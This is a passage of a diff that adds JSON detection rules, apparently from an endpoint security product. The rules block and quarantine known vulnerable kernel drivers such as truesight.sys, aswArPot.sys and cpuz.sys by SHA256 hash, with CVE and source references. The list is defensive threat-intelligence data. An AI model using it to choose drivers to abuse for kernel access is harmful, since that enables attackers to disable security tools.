+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c4433e84f9db7a62daa9a681ae728530602a1b1e119a5a9d13ae4366df45c71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce856d80-4bd4-5bb1-b872-cc35a9ca1916",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475590Z",
+  "creation_date": "2026-03-23T11:45:30.475593Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3fa8f5c8094a6c6936faff1d1faa02fd489482f21c288e6c700446ade5c20be",
+  "comment": "Vulnerable Kernel Driver (aka vboxguest.sys) [https://www.loldrivers.io/drivers/0baa833c-e4e1-449e-86ee-cafeb11f5fd5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce879408-ac73-514b-8ec4-8f443abf91d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486294Z",
+  "creation_date": "2026-03-23T11:45:31.486297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e2985dd57d6797f48b4358ffbc5e9f9e01fa27ba9e2d609f99029b30b80e5b8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce9083f8-3e43-5a4a-b2f2-80bcc2a6c595",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817087Z",
+  "creation_date": "2026-03-23T11:45:30.817090Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817095Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef438a754fd940d145cc5d658ddac666a06871d71652b258946c21efe4b7e517",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce9ff95b-84a7-57a6-ad14-5e8f1c3e60e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480590Z",
+  "creation_date": "2026-03-23T11:45:31.480594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e25f7e8d25659647fea1d520c454f16f7aa113f0e556934e8b573c3c440ce717",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ceb3f76f-8919-5e6a-bedf-4d16a0703bcd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452157Z",
+  "creation_date": "2026-03-23T11:45:30.452160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452169Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3d479d7efd0f6b502d6829b893711bdd51aac07d66326b41ef5451bafdfcb29",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ceb86114-188f-5df1-b666-700dea293eb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969576Z",
+  "creation_date": "2026-03-23T11:45:29.969578Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cb639c7b27fec183ac475c91a66d91f24b500a5fa5dcabdd6920931626dfd93",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cebf7df6-3c8c-5f01-a07f-61e6154863b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140926Z",
+  "creation_date": "2026-03-23T11:45:31.140928Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140934Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1dfbf17efbf37083968567ee13ff832e0e23a27eb9244d5416e52bdae53d53a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cec890c3-fb42-5da0-99ad-bd770dcb7e44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148537Z",
+  "creation_date": "2026-03-23T11:45:31.148539Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e849ec0c64d3d01309acf125f76c8f526aa9e5eb34cfeb85967a3a04be77ba80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cec8ef06-547d-57fb-9ec0-b71509ed5266",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499775Z",
+  "creation_date": "2026-03-23T11:45:31.499779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499787Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d099b7787a3cd78eb5ef0bcff982a8e6964cd792f96069110ef7d1101603230f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ced0ebd2-148a-586f-b79e-54d26d63b8d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495076Z",
+  "creation_date": "2026-03-23T11:45:31.495078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ccd62ae166e2ca48bdadc835e56fadc1aa3d239b408f998d60c5e19d7febe0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ced80048-a28f-528d-9c0c-ebd741b90cf9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822899Z",
+  "creation_date": "2026-03-23T11:45:30.822901Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "442d506c1ac1f48f6224f0cdd64590779aee9c88bdda2f2cc3169b862cba1243",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ced9de67-316d-5471-a0b9-ab12b4e36070",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810344Z",
+  "creation_date": "2026-03-23T11:45:31.810346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c2577d760341250044463abbf12c9bfce8556135127851a14fbe95cd404ad3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cedd73e0-328a-52b0-8196-a9ce43909c38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146095Z",
+  "creation_date": "2026-03-23T11:45:31.146097Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37a729ead982b58a07840bf0e2cc8fcbfb2c1b446b0cd7bd1b1dd2b1ce18eda4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cede6bfa-d3fc-5a2c-a59d-5281bfb3b7d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826595Z",
+  "creation_date": "2026-03-23T11:45:31.826597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "161b2e84ee61f38f197d03d5c66bebb13d5722d4bd3e326e52ce40181b347cff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cef6c5e5-e553-5963-bcb1-7b4b49ab61c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816454Z",
+  "creation_date": "2026-03-23T11:45:30.816457Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816462Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec81b458b41c9732341ec8cde57b9b7c7bb776b3bc08f45f2c815c3692072d04",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf026a4d-e788-5d2a-a157-7354c9e53923",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144038Z",
+  "creation_date": "2026-03-23T11:45:31.144040Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1f0efdda4b3e0a25457fc1a9237178ba2d0694995bad02037a66817dba0cd39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf1e4dbc-121f-5771-9935-0a2131b1108a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608457Z",
+  "creation_date": "2026-03-23T11:45:29.608459Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26f41e4268be59f5de07552b51fa52d18d88be94f8895eb4a16de0f3940cf712",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf215a79-7265-5fbc-9ca3-891dc9afe758",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833012Z",
+  "creation_date": "2026-03-23T11:45:30.833015Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "403e06568d2765f574287db1ce1e706ee56234df7da5d57d963cdd2e8c50d72d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf29956d-0174-507e-8cc3-68436f27a990",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457776Z",
+  "creation_date": "2026-03-23T11:45:30.457779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457787Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6feb3f4932387df7598e29d4f5bdacec0b9ce98db3f51d96fc4ffdcc6eb10e1",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf413540-5fe9-517a-8470-0f3946ba545e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618168Z",
+  "creation_date": "2026-03-23T11:45:29.618170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ef8949637cb947f1a4e1d4e68d31d1385a600d1b1054b53e7417767461fafa7",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf42b340-1c68-5cef-ae74-158eade282dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474712Z",
+  "creation_date": "2026-03-23T11:45:30.474715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7699613119b25fc5886305e43ff556f8d53560cfa7707ab456f3165ba4ea374b",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cf4551db-2202-5282-906c-a1dcd7b13132",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141328Z",
+  "creation_date": "2026-03-23T11:45:31.141330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff9ad483752fcd68f51fa798194a3b6df55fb4332ca10cb24bb7e98b168396b4",
